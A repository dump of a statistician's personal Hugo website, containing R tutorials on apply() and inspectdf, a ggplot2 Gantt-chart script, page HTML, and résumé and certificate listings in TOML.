##
## , , red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 175
##
## , , red, blue, white
##
## feminine masculine
## black 178 NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , silver, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue 96 NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , tan
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA 187
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , unknown
##
## feminine masculine
## black NA NA
## blue NA 228
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , white
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA 233
##
## , , white, blue
##
## feminine masculine
## black NA 122
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 96
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , white, red
##
## feminine masculine
## black NA NA
## blue NA NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA 97
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA
##
## , , yellow
##
## feminine masculine
## black NA NA
## blue 168 NA
## blue-gray NA NA
## brown NA NA
## dark NA NA
## gold NA NA
## green, yellow NA NA
## hazel NA NA
## orange NA NA
## pink NA NA
## red NA NA
## red, blue NA NA
## unknown NA NA
## white NA NA
## yellow NA NA</code></pre>
</div>
<div class="article-tags">
<a class="badge badge-light" href="/en/tags/r/">R</a>
<a class="badge badge-light" href="/en/tags/rstudio/">RStudio</a>
<a class="badge badge-light" href="/en/tags/apply-family-functions/">apply family functions</a>
<a class="badge badge-light" href="/en/tags/tapply/">tapply</a>
</div>
<div class="article-widget">
<div class="hr-light"></div>
<h3>Related</h3>
<ul>
<li><a href="/en/post/2019-06-23-apply/">Apply family functions - Part 1</a></li>
<li><a href="/en/post/2020-03-01-eapply_rapply_mapply/">apply family functions - Part 4</a></li>
<li><a href="/en/post/2019-12-08-lapply_sapply_vapply/">apply family functions - Part 3</a></li>
<li><a href="/en/post/2019-06-23-exploraci%C3%B3n-de-datos-categ%C3%B3ricos-con-el-paquete-inspectdf/">Exploratory data analysis with categorical data</a></li>
</ul>
</div>
<section id="comments">
<div id="disqus_thread"></div>
<script type="application/javascript">
var disqus_config = function () {
};
(function() {
if (["localhost", "127.0.0.1"].indexOf(window.location.hostname) != -1) {
document.getElementById('disqus_thread').innerHTML = 'Disqus comments not available by default when the website is previewed locally.';
return;
}
var d = document, s = d.createElement('script'); s.async = true;
s.src = '//' + "www-cesargamboasanabria-com" + '.disqus.com/embed.js';
s.setAttribute('data-timestamp', +new Date());
(d.head || d.body).appendChild(s);
})();
</script>
<noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a></noscript>
<a href="https://disqus.com" class="dsq-brlink">comments powered by <span class="logo-disqus">Disqus</span></a>
</section>
</div>
</article>
<script src="/js/mathjax-config.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.imagesloaded/4.1.4/imagesloaded.pkgd.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.isotope/3.0.6/isotope.pkgd.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fancybox/3.2.5/jquery.fancybox.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.15.6/highlight.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.4/MathJax.js?config=TeX-AMS_CHTML-full" integrity="<KEY> crossorigin="anonymous" async></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/leaflet/1.2.0/leaflet.js" integrity="<KEY> crossorigin="anonymous"></script>
<script id="dsq-count-scr" src="//www-cesargamboasanabria-com.disqus.com/count.js" async></script>
<script>hljs.initHighlightingOnLoad();</script>
<script>
const search_index_filename = "/en/index.json";
const i18n = {
'placeholder': "Search...",
'results': "results found",
'no_results': "No results found"
};
const content_type = {
'post': "Posts",
'project': "Projects",
'publication' : "Publications",
'talk' : "Talks"
};
</script>
<script id="search-hit-fuse-template" type="text/x-template">
<div class="search-hit" id="summary-{{key}}">
<div class="search-hit-content">
<div class="search-hit-name">
<a href="{{relpermalink}}">{{title}}</a>
<div class="article-metadata search-hit-type">{{type}}</div>
<p class="search-hit-description">{{snippet}}</p>
</div>
</div>
</div>
</script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fuse.js/3.2.1/fuse.min.js" integrity="<KEY> crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mark.js/8.11.1/jquery.mark.min.js" integrity="sha256-4HLtjeVgH0eIB3aZ9mLYF6E8oU5chNdjU6p6rrXpl9U=" crossorigin="anonymous"></script>
<script src="/js/academic.min.3394a224b26ce58ff36f44c54743e0ab.js"></script>
<div class="container">
<footer class="site-footer">
<p class="powered-by">
© 2020 ·
Powered by the
<a href="https://sourcethemes.com/academic/" target="_blank" rel="noopener">Academic theme</a> for
<a href="https://gohugo.io" target="_blank" rel="noopener">Hugo</a>.
<span class="float-right" aria-hidden="true">
<a href="#" id="back_to_top">
<span class="button_icon">
<i class="fas fa-chevron-up fa-2x"></i>
</span>
</a>
</span>
</p>
</footer>
</div>
<div id="modal" class="modal fade" role="dialog">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title">Cite</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<pre><code class="tex hljs"></code></pre>
</div>
<div class="modal-footer">
<a class="btn btn-outline-primary my-1 js-copy-cite" href="#" target="_blank">
<i class="fas fa-copy"></i> Copy
</a>
<a class="btn btn-outline-primary my-1 js-download-cite" href="#" target="_blank">
<i class="fas fa-download"></i> Download
</a>
<div id="modal-error"></div>
</div>
</div>
</div>
</div>
</body>
</html>
<file_sep>/content/es/post/2019-06-23-apply.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Familia de funciones apply - Parte 1"
subtitle: "La función apply()"
summary: "Se muestran ejemplos de uso de la función apply"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Funciones apply", "apply"]
categories: ["Fundamentos de R"]
date: 2019-07-21T17:42:09-06:00
lastmod: 2019-07-21T17:42:09-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: true
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
La familia de funciones apply pertenecen al paquete base de R, son de especial utilidad al combinar su uso con funciones para manipular porciones de matrices, arreglos, listas y marcos de datos de una manera repetitiva. Estas funciones permiten cruzar los datos de múltiples maneras para así evadir el uso de ciclos que usualmente son computacionalmente más pesados.
La primera función de la que hablaremos en esta serie es la función `apply()`, la cual en su forma de utilización más sencilla se utiliza para evaluar sobre los márgenes (1=filas ó 2=columnas) de un arreglo o una matriz para aplicar una función a las mismas.
Como primer ejemplo se parte de una matriz con tres filas y tres columnas.
```{r}
mat <- matrix(c(2, 4, 6, 7, 8, 9, 1, 12, 21), nrow = 3, ncol = 3)
mat
```
Si se desea, por ejemplo, obtener la suma de cada columna puede usarse la función `apply()` de la siguiente manera.
```{r}
apply(mat, 2, sum)
```
O bien, puede calcularse si se desea el promedio de cada una de las filas.
```{r}
apply(mat, 1, mean)
```
Existen además algunas funciones ya programadas en el paquete `base` de R que replican rápidamente los resultados anteriores. Por ejemplo está la función `colSums()` para calcular la cuma de cada columna, y `rowMeans()` para obtener la media aritmética de cada fila.
```{r}
colSums(mat)
rowMeans(mat)
```
Los dos casos mostrados anteriormente ejemplifican un uso básico de la función `apply()`, sin embargo, esta función es mucho más potente y es capaz de trabajar de manera multidimensional. Consideremos, por ejemplo, un objeto en dos dimensiones (filas y columnas) similar al creado con anterioridad, es decir, una matriz.
```{r}
mat2 <- matrix(1:9, nrow = 3, ncol = 3)
mat2
```
El objeto `mat2` representa un caso particular de lo que en R se conoce como arreglos, los cuales pueden ser creados mediante la función `array()`.
```{r}
array(data=1:9, dim = c(3,3))
```
La función `array()` también permite agregar etiquetas a las filas y las columnas mediante su argumento `dimnames`.
```{r}
nombres.columnas <- c("COL1","COL2","COL3")
nombres.filas <- c("FILA1","FILA2","FILA3")
arreglo <- array(data=1:9, dim = c(3,3),
dimnames = list(nombres.columnas, nombres.filas))
arreglo
```
Pueden agregarse varias dimensiones a los arreglos. Para esto, supongamos que se desean tener las siguientes dimensiones:
- DIM1: Números del 1 al 9.
- DIM2: Números del 1 al 9 multiplicados por 10.
- DIM3: Números del 1 al 9 multiplicados por 100.
- DIM4: Números del 1 al 9 multiplicados por 1000.
Una forma de generar el arreglo anterior es mediante el siguiente código:
```{r}
nombres.dimensiones <- c("DIM1","DIM2","DIM3","DIM4")
arreglo <- array(data = c(seq(from=1, to=9, by=1), #1 al 9
seq(from=10, to=90, by=10), #10 al 90
seq(from=100, to=900, by=100), #100 al 900
seq(from=1000, to=9000, by=1000)), #1000 al 9000
dim = c(3, 3, 4), #3 filas, 3 columnas y 4 dimensiones
dimnames = list(nombres.filas,
nombres.columnas,
nombres.dimensiones))
arreglo
```
Partiendo del arreglo anterior, supongamos que se desea obtener de cada dimensión el valor máximo por filas.
```{r}
apply(arreglo, c(3,1), max)
```
O bien, quizás interese obtener de cada dimensión el valor máximo de cada columna.
```{r}
apply(arreglo, c(3,2), max)
```
El siguiente resultado muestra el mínimo de cada columna en cada dimensión.
```{r}
apply(arreglo, c(2,3), min)
```
Los ejemplos anteriores pueden ser aplicados a un número mayor de dimensiones, para ello basta con tener un arreglo adecuado y operar sobre los márgenes correspondientes con la función `apply()`.
<file_sep>/content/es/home/experience.md
+++
# Experience widget.
widget = "experience" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 40 # Order that this section will appear.
title = "Experiencia"
subtitle = ""
# Date format for experience
# Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"
# Experiences.
# Add/remove as many `[[experience]]` blocks below as you like.
# Required fields are `title`, `company`, and `date_start`.
# Leave `date_end` empty if it's your current employer.
# Begin/end multi-line descriptions with 3 quotes `"""`.
[[experience]]
title = "Profesional en análisis demográfico"
company = "Instituto Nacional de Estadística y Censos"
company_url = "http://www.inec.go.cr/"
location = "San José, Costa Rica"
date_start = "2018-02-16"
date_end = ""
description = """
* Estimaciones y proyecciones de población
* Automatización de procesos y depuración de bases de datos
* Migración de procesos en SPSS al lenguaje R
"""
[[experience]]
title = "Docente Universitario"
company = "Universidad de Costa Rica | Universidad Internacional de las Américas"
company_url = "http://www.ucr.ac.cr/"
location = "San José, Costa Rica"
date_start = "2018-05-16"
date_end = ""
description = """
* Programación Estadística con R
* Probabilidad y Estadística I
"""
[[experience]]
title = "Analista de la calidad del servicio y atención al cliente"
company = "Poder Judicial de la República de Costa Rica"
company_url = "https://contraloria.poder-judicial.go.cr/"
location = "San José, Costa Rica"
date_start = "2016-02-01"
date_end = "2016-12-17"
description = """
* Diseño de Encuesta de la Percepción de la Calidad del Servicio en el Ámbito Auxiliar de Justicia
* Capacitación a entrevistadores
* Dirección de trabajo de campo
"""
[[experience]]
title = "Asistente de docencia"
company = "Universidad de Costa Rica"
company_url = "https://ucr.ac.cr/"
location = "San José, Costa Rica"
date_start = "2013-05-02"
date_end = "2016-11-17"
description = """
* INISA: Análisis de situación parasitaria de niños de la región Central Sur (2016-2017)
* Interrelaciones entre políticas públicas y migración (2015)
* Estadística para Ciencias Sociales (2014 – 2016)
* Estadística Introductoria (2014 – 2016)
* Probabilidad e Inferencia Estadística (2013 – 2014)
"""
+++
<file_sep>/Varios/Cotizaciones/Daniela Correa Cruz/Cronograma/Cronograma.Rmd
```{r}
#"https://stats.andrewheiss.com/misc/gantt.html
library(readxl)
library(ggplot2)
library(lubridate)
library(tidyr)
library(scales)
library(dplyr)
tasks <- read_excel("Cronograma detallado.xlsx") %>% mutate_all(as.character)
tasks.long <- tasks %>%
mutate(Start = ymd(Start),
End = ymd(End)) %>%
gather(date.type, task.date, -c(Project, Task)) %>%
arrange(date.type, task.date) %>%
mutate(Task = factor(Task, levels=rev(unique(Task)), ordered=TRUE))
#tasks.long <- tasks %>%
# mutate(Start = ymd(Start),
# End = ymd(End)) %>%
# mutate(End=End+days(24))
#tasks.long$Start[2:13] <- tasks.long$Start[2:13]+days(24)
#tasks.long <- tasks.long %>%
# gather(date.type, task.date, -c(Project, Task)) %>%
# arrange(date.type, task.date) %>%
# mutate(Task = factor(Task, levels=rev(unique(Task)), ordered=TRUE))
tasks.long$Project <- factor(tasks.long$Project, levels = c("Planteamiento inicial", "Preparación de los datos", "Análisis de datos", "Compilación de información"), ordered = T)
# Custom theme for making a clean Gantt chart
theme_gantt <- function(base_size=11, base_family="Source Sans Pro Light") {
ret <- theme_bw(base_size, base_family) %+replace%
theme(panel.background = element_rect(fill="#ffffff", colour=NA),
axis.title.x=element_text(vjust=-0.2), axis.title.y=element_text(vjust=1.5),
title=element_text(vjust=1.2, family="Source Sans Pro Semibold"),
panel.border = element_blank(), axis.line=element_blank(),
panel.grid.minor=element_blank(),
panel.grid.major.y = element_blank(),
panel.grid.major.x = element_line(size=0.5, colour="grey80"),
axis.ticks=element_blank(),
legend.position="bottom",
axis.title=element_text(size=rel(0.8), family="Source Sans Pro Semibold"),
strip.text=element_text(size=rel(1), family="Source Sans Pro Semibold"),
strip.background=element_rect(fill="#ffffff", colour=NA),
panel.spacing.y=unit(1.5, "lines"),
legend.key = element_blank())
ret
}
# Calculate where to put the dotted lines that show up every three entries
x.breaks <- seq(length(tasks$Task) + 0.5 - 3, 0, by=-3)
# Build plot
timeline <- ggplot(tasks.long, aes(x=Task, y=task.date, colour=Project)) +
geom_line(size=11) +
geom_vline(xintercept=x.breaks, colour="grey80", linetype="dotted") +
guides(colour=guide_legend(title=NULL, ncol = 2)) +
labs(x=NULL, y=NULL, title="Cronograma tentativo") + coord_flip() +
scale_y_date(date_breaks="4 days", labels=date_format("%d ‘%b")) +
theme_gantt() +
theme(axis.text.x=element_text(angle=45, hjust=1), plot.title = element_text(hjust = 0.5, face="plain"))
timeline
ggsave(timeline, filename="cronograma.pdf",
width=8.5, height=6.5, units="in", device=cairo_pdf)
```
```{r}
requeridos(tidyverse, lubridate, scales, Cairo)
tasks <- tribble(
~Start, ~End, ~Project, ~Task,
"2015-11-15", "2015-11-20", "Data collection", "Use IssueCrawler to expand lists",
"2015-11-21", "2015-11-25", "Data collection", "Complete INGO databases",
"2015-11-16", "2015-12-15", "Data collection", "Find all INGO legislation",
"2015-12-15", "2015-12-25", "Data collection", "Code INGO restrictions",
"2015-11-15", "2015-11-25", "Data collection", "Develop general INGO survey",
"2015-11-25", "2015-12-31", "Data collection", "Administer survey",
"2015-12-25", "2015-12-31", "Data analysis", "Model stability and restrictions",
"2016-01-01", "2016-02-02", "Writing", "Chapter on formal restrictions (H1)",
"2016-01-15", "2016-02-15", "Writing", "Paper or chapter on survey results (H3 and H4)",
"2016-03-16", "2016-03-19", "Writing", "ISA conference in Atlanta",
"2016-02-01", "2016-03-01", "Data collection", "Historical INGO restrictions in China",
"2016-02-01", "2016-03-01", "Data collection", "Historical INGO restrictions in Egypt",
"2016-05-01", "2016-06-01", "Data collection", "Fieldwork in London and Beijing",
"2016-03-01", "2016-04-01", "Data analysis", "Analyze restrictions in China and Egypt",
"2016-04-01", "2016-06-01", "Data analysis", "Analyze INGO activities",
"2016-04-01", "2016-06-15", "Writing", "Chapter on application of restrictions (H2)",
"2016-05-01", "2016-07-01", "Writing", "Chapter on INGO ideal points (H3)",
"2016-05-01", "2016-07-01", "Writing", "Chapter on INGO flexibility (H4)",
"2016-07-01", "2016-08-01", "Writing", "Theory",
"2016-08-01", "2016-09-15", "Writing", "Conclusion",
"2016-08-01", "2016-09-15", "Writing", "Introduction"
)
# Convert data to long for ggplot
tasks.long <- tasks %>%
mutate(Start = ymd(Start),
End = ymd(End)) %>%
gather(date.type, task.date, -c(Project, Task)) %>%
arrange(date.type, task.date) %>%
mutate(Task = factor(Task, levels=rev(unique(Task)), ordered=TRUE))
```
```{r}
# Custom theme for making a clean Gantt chart
theme_gantt <- function(base_size=11, base_family="Source Sans Pro Light") {
ret <- theme_bw(base_size, base_family) %+replace%
theme(panel.background = element_rect(fill="#ffffff", colour=NA),
axis.title.x=element_text(vjust=-0.2), axis.title.y=element_text(vjust=1.5),
title=element_text(vjust=1.2, family="Source Sans Pro Semibold"),
panel.border = element_blank(), axis.line=element_blank(),
panel.grid.minor=element_blank(),
panel.grid.major.y = element_blank(),
panel.grid.major.x = element_line(size=0.5, colour="grey80"),
axis.ticks=element_blank(),
legend.position="bottom",
axis.title=element_text(size=rel(0.8), family="Source Sans Pro Semibold"),
strip.text=element_text(size=rel(1), family="Source Sans Pro Semibold"),
strip.background=element_rect(fill="#ffffff", colour=NA),
panel.spacing.y=unit(1.5, "lines"),
legend.key = element_blank())
ret
}
# Calculate where to put the dotted lines that show up every three entries
x.breaks <- seq(length(tasks$Task) + 0.5 - 3, 0, by=-3)
# Build plot
timeline <- ggplot(tasks.long, aes(x=Task, y=task.date, colour=Project)) +
geom_line(size=6) +
geom_vline(xintercept=x.breaks, colour="grey80", linetype="dotted") +
guides(colour=guide_legend(title=NULL)) +
labs(x=NULL, y=NULL, title="Cronograma tentativo") + coord_flip() +
scale_y_date(date_breaks="2 weeks", labels=date_format("%b ‘%y")) +
theme_gantt() + theme(axis.text.x=element_text(angle=45, hjust=1), plot.title = element_text(hjust = 0.5, face="plain"))
timeline
```
<file_sep>/content/es/home/accomplishments.md
+++
# Accomplishments widget.
widget = "accomplishments" # See https://sourcethemes.com/academic/docs/page-builder/
headless = true # This file represents a page section.
active = true # Activate this widget? true/false
weight = 50 # Order that this section will appear.
title = "Reconocimientos académicos"
subtitle = ""
# Date format
# Refer to https://sourcethemes.com/academic/docs/customization/#date-format
date_format = "Jan 2006"
# Accomplishments.
# Add/remove as many `[[item]]` blocks below as you like.
# `title`, `organization` and `date_start` are the required parameters.
# Leave other parameters empty if not required.
# Begin/end multi-line descriptions with 3 quotes `"""`.
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Métodos y aplicaciones de RDS – Muestreo dirigido por Encuestados (16 horas)"
url = ""
certificate_url = ""
date_start = "2017-05-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Métodos modernos de tratamiento e imputación de datos faltantes (12 horas)"
url = ""
certificate_url = ""
date_start = "2017-05-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Programación estadística con SQL (32 horas)"
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Sistemas de Información Geográfica aplicados a Estadística (21 horas)"
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Benemérita Universidad Autónoma de Puebla"
organization_url = "https://www.fcfm.buap.mx/EIEPE2017/"
title = "Expositor y asistente (40 horas) en el VII Encuentro Internacional en la Enseñanza de la Estadística y la Probabilidad"
url = ""
certificate_url = ""
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "The Data Scientist’s Toolbox"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/VQVUWN3JLJL5"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "R Programming"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/98REVLNWAG28"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Getting and Cleaning Data"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/RHVJ75BZVUPR"
date_start = "2017-01-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Getting and Cleaning Data"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/RHVJ75BZVUPR"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Exploratory Data Analysis"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/V3CD55M9247Z"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Statistical Inference"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/NFUFWFNNAZYK"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Statistical Inference"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/NFUFWFNNAZYK"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Regression Models"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/553GUVWS96DP"
date_start = "2017-02-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Reproducible Research"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/QDMHTXKFMGNZ"
date_start = "2017-03-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Practical Machine Learning"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/TUVKZHLJGNQA"
date_start = "2017-03-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Data Science Capstone"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/N344Z4P7JM8G"
date_start = "2017-07-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Developing Data Products"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/U4EJFXDYVMKJ"
date_start = "2017-06-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "The Unix Workbench"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/records/LTG3PWZZ8C8K"
date_start = "2017-11-01"
date_end = ""
description = ""
[[item]]
organization = "Coursera"
organization_url = "https://www.coursera.org"
title = "Data Science"
url = ""
certificate_url = "https://www.coursera.org/account/accomplishments/specialization/73G4QAHN3BE3"
date_start = "2018-01-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Análisis de Series de Tiempo (16 horas)"
url = ""
certificate_url = ""
date_start = "2016-02-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Primera Escuela de Big Data y Estadística (16 horas)"
url = ""
certificate_url = ""
date_start = "2016-05-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Expositor en Simposio Académico Estudiantes de Estadística"
url = ""
certificate_url = ""
date_start = "2016-05-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Programación Estadística en R (16 horas)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Expositor en Simposio Académico Estudiantes de Estadística"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Primer Simposio Centroamericano de Estadística Bayesiana (14 horas)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
[[item]]
organization = "Universidad de Costa Rica"
organization_url = "https://www.ucr.ac.cr"
title = "Primera Escuela Latinoamericana de Estadística Bayesiana (24 horas)"
url = ""
certificate_url = ""
date_start = "2016-06-01"
date_end = ""
description = ""
+++
<file_sep>/content/en/talk/conversatorioR/index.md
---
title: R as a tool of statistical analysis
event: Talks and short courses about R by the School of Statistics, University of Costa Rica
event_url: https://docs.google.com/document/d/15UjXWv_7GkJqFpaZoGa9zPOK_Jgq8uS4WnSubKmpmk4/edit
location: San José, Costa Rica
summary: The School of Statistics is pleased to invite you to the following talks and free workshops that will be taught by Ing Ruiz de R Studio Inc from June 24 to 27, 2019.
abstract: "The talk will have a format of discussion, where Ing. <NAME> will be together with four guests: <NAME>, Bach. (INEC, Costa Rica @gamboasanabria), <NAME>, Bach. (CeNAT, Costa Rica @ MarianaCubero1), <NAME>, M.Sc. (INS, Costa Rica @serilone), <NAME>, Ph.D. (ECCI, UCR)"
# Talk start and end times.
# End time can optionally be hidden by prefixing the line with `#`.
date: "2019-06-27T10:00:00Z"
date_end: "2019-06-27T12:00:00Z"
all_day: false
# Schedule page publish date (NOT talk date).
publishDate: "2019-06-23T00:00:00Z"
authors: []
tags: []
# Is this a featured talk? (true/false)
featured: false
image:
caption: 'Source: [**elpais.cr**](https://www.elpais.cr/2015/09/15/el-iice-pilar-de-la-investigacion-economica/)'
focal_point: Right
links:
#- icon: twitter
# icon_pack: fab
# name: Follow
# url: https://twitter.com/georgecushen
url_code: ""
url_pdf: ""
url_slides: ""
url_video: ""
# Markdown Slides (optional).
# Associate this talk with Markdown slides.
# Simply enter your slide deck's filename without extension.
# E.g. `slides = "example-slides"` references `content/slides/example-slides.md`.
# Otherwise, set `slides = ""`.
slides: example
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects:
- internal-project
# Enable math on this page?
math: true
---
<file_sep>/content/en/post/2019-06-23-exploración-de-datos-categóricos-con-el-paquete-inspectdf.Rmd
---
# Documentation: https://sourcethemes.com/academic/docs/managing-content/
title: "Exploratory data analysis with categorical data"
subtitle: "The inspecdf package as a tool for descriptive analysis"
summary: "This post follows to show how to use the inspectdf package for data analysis"
authors: ["<NAME>"]
tags: ["R", "RStudio", "Exploratory data analysis", "Descriptive", "Categorical data"]
categories: ["Exploratory data analysis"]
date: 2019-06-23T13:42:09-06:00
lastmod: 2019-06-23T13:42:09-06:00
featured: false
draft: false
# Featured image
# To use, add an image named `featured.jpg/png` to your page's folder.
# Focal points: Smart, Center, TopLeft, Top, TopRight, Left, Right, BottomLeft, Bottom, BottomRight.
image:
caption: ""
focal_point: ""
preview_only: false
# Projects (optional).
# Associate this post with one or more of your projects.
# Simply enter your project's folder or file name without extension.
# E.g. `projects = ["internal-project"]` references `content/project/deep-learning/index.md`.
# Otherwise, set `projects = []`.
projects: []
---
It is a common task to find datasets which have different types of variables, and they could be numeric, time data, or even categorical. The [inspectdf](https://github.com/alastairrushworth/inspectdf) package offers a set of functions to analyze the behavior of this kind of data.
First of all, we have to install the package.
```{r, eval=FALSE}
library(devtools)
install_github("alastairrushworth/inspectdf")
```
When we installed the package, it is necessary to load it. We do the same with `dplyr` package, especially for use the pipe `%>%`.
```{r, warning=FALSE, message=FALSE, results='hide'}
library(inspectdf)
library(dplyr)
```
For this example, the dataset `starwars` will be used. This dataset is in ` dplyr` package and which has data from various characters in this cinematographic universe.
```{r}
starwars %>%
head()
```
### Tabular exploratory data analysis
The `inspectdf` package allows you to calculate some descriptive statistics quickly for any variable using the` inspect_types() `function.
```{r}
starwars %>%
inspect_types()
```
The previous result shows that there are seven variables of type `character`, which represents 53.84% of the dataset. Also, there are two numerical variables, which represent 15.38%. The above is useful for a first look, but it is interesting to go a little further and describe all the variables in more detail. For this, the `inspect_cat ()` function could be useful.
```{r}
starwars %>%
inspect_cat()
```
